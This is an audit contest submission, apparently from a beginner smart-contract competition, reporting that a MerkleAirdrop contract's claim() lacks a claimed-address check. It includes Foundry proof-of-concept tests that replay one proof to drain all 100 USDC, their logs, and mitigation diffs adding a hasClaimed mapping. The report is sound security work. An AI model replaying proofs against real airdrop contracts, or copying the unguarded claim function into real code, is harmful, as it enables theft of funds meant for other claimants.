AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing claimed bitmap lets any valid proof drain the entire airdrop contract

webrainsec

Description

MerkleAirdrop is a Merkle-proof based token distributor forked from Uniswap's Merkle-Distributor. The contract holds 100 USDC for 4 eligible claimants (25 USDC each). A valid proof should grant exactly one claim per address.

The claim() function verifies the Merkle proof but never records that an address has already claimed. The Uniswap original uses a isClaimed bitmap to prevent replays. This contract omits it entirely:

// src/MerkleAirdrop.sol, line 30-40
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
// @> no hasClaimed check, no state update to prevent re-claiming
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount); // @> transfers 25 USDC every call
}

A single valid proof can be replayed unlimited times. Four calls drain the full 100 USDC balance.

Risk

Likelihood:

  • Any of the 4 eligible addresses can replay their proof immediately after the first claim. Merkle proofs are visible in on-chain calldata after any claim transaction, so any observer can extract and replay them.

  • The cost per replay is 1e9 wei (~$0.000000001), making the attack essentially free.

Impact:

  • The entire 100 USDC airdrop balance is drained. All other eligible claimants receive nothing.

  • The first claimant (or any observer who copies a proof from calldata) captures 100% of the airdrop with 4 calls.

Proof of Concept

function testExploit_DoubleClaim() public {
uint256 fee = airdrop.getFee();
vm.deal(address(this), fee * 10);
​
// Claim FOUR times with the same valid proof
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
​
// Result: Contract drained from 100,000,000 to 0
assertEq(token.balanceOf(address(airdrop)), 0);
assertEq(token.balanceOf(collectorOne), 100000000);
}
[PASS] testExploit_DoubleClaim() (gas: 130440)
Logs:
Contract balance before: 100000000
Collector balance before: 0
Contract balance after: 0
Collector balance after: 100000000

Recommended Mitigation

+ mapping(address => bool) private s_hasClaimed;
+ error MerkleAirdrop__AlreadyClaimed();
​
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (s_hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ s_hasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 17 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!